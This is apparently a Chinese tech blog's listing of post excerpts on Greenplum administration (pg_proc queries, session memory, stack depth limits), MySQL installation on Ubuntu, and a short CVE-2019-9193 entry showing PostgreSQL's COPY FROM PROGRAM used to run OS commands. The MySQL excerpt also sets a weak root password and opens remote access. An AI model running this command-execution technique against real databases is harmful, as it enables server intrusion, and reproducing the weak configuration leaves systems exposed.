获取greenplum中的所有储存过程以及函数

获取greenplum中的所有储存过程以及函数

select proname ,prosrc from pg_proc pg_proc系统目录表存储关于函数(或过程)的信息,包括所有的内建函数以及由CREATE FUNCTION定义的函数。 该表也包含了聚集和窗口函数以及普通函数的数据。 如果proisagg为真,在pg_aggregate中应该有一个相匹配的行。对于内置和动态加载的已编译函数,prosrc包含函数的C语言名称(链接符号)。 对于所有其他当前已知的语言类型,prosrc包含函数的源文本。 除了动态加载的C函数之外,probin是未使用的,它为此提供了包含该函数的共享库文件的名称。

经验开发 2023-10-04 AM
greenplum每个会话占用内存情况

greenplum每个会话占用内存情况

先创安装视图psql -d testdb -c "CREATE EXTENSION gp_internal_tools;" 查询select * from session_state.session_level_memory_consumption

大数据技术 2023-09-01 PM
greenplum 报错stack depth limit exceeded

greenplum 报错stack depth limit exceeded

今天偶然系统报错,报错内容为stack depth limit exceeded,该问题为堆栈查询深度问题,greenplum 默认max_stack_depth 为2MB,于是尝试修改相关配置。修改系统堆栈:永久修改vim /etc/security/limits.conf 新增以下内容系统堆栈调整为16M* soft stack 16384 * hard stack 16384 临时修改 ulimit -s 16384 修改greenplum 配置su gpadmin cd ~ gpconfig --show max_stack_depth gpconfig -c max_st...

大数据技术,基础运维 2023-08-10 PM
CVE-2019-9193

CVE-2019-9193

-- 先删除你想要使用但是已经存在的表DROP TABLE IF EXISTS cmd_exec;-- 创建保存系统命令输出的表CREATE TABLE cmd_exec(cmd_output text);-- 执行系统命令利用特定函数COPY cmd_exec FROM PROGRAM 'id'; -- 查看执行结果SELECT * FROM cmd_exec;

漏洞解析 2023-08-07 PM
Ubuntu22.04 安装mysql

Ubuntu22.04 安装mysql

安装sudo apt update sudo apt install -y mysql-server sudo mysql 改密码use mysql; alter user 'root'@'localhost' identified with mysql_native_password by '123456'; flush privileges; 开启远程use mysql; select user,host from user; update user set host = '%' where user = '您的用户'; flush privileges; su...

基础运维 2023-03-03 AM